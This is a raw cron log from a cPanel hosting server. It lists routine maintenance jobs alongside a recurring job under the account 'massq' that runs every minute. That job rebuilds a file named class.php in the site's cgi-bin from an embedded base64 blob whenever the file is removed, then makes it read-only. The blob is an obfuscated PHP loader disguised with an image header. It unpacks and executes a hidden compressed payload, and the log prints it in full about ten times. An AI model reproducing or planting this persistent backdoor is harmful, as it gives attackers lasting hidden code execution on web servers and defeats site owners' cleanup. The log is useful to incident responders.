Sep 10 08:58:01 server CROND[29347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:58:01 server CROND[29348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:58:01 server CROND[29349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:59:01 server CROND[29730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:59:01 server CROND[29731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:59:01 server CROND[29729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:00:01 server CROND[30124]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:00:01 server CROND[30126]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep 10 09:00:01 server CROND[30130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:00:01 server CROND[30131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:00:01 server CROND[30134]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 09:00:01 server CROND[30133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:00:01 server CROND[30136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:00:01 server CROND[30129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:00:01 server CROND[30132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:00:01 server CROND[30128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:01:01 server CROND[31084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:01:01 server CROND[31085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:01:01 server CROND[31087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:01:01 server CROND[31086]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 09:01:01 server run-parts(/etc/cron.hourly)[31086]: starting 0anacron
Sep 10 09:01:01 server run-parts(/etc/cron.hourly)[31106]: finished 0anacron
Sep 10 09:02:01 server CROND[31489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:02:01 server CROND[31490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:02:01 server CROND[31491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:03:01 server CROND[31880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:03:01 server CROND[31881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:03:01 server CROND[31882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:04:01 server CROND[32291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:04:01 server CROND[32292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:04:01 server CROND[32293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:05:01 server CROND[32681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:05:01 server CROND[32682]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:05:01 server CROND[32684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:05:01 server CROND[32688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:05:01 server CROND[32690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:05:01 server CROND[32692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:05:01 server CROND[32693]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:05:01 server CROND[32694]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:06:01 server CROND[1288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:06:01 server CROND[1290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:06:01 server CROND[1289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:07:01 server CROND[1687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:07:01 server CROND[1688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:07:01 server CROND[1689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:08:01 server CROND[2103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:08:01 server CROND[2104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:08:01 server CROND[2106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:09:01 server CROND[2499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:09:01 server CROND[2500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:09:01 server CROND[2501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
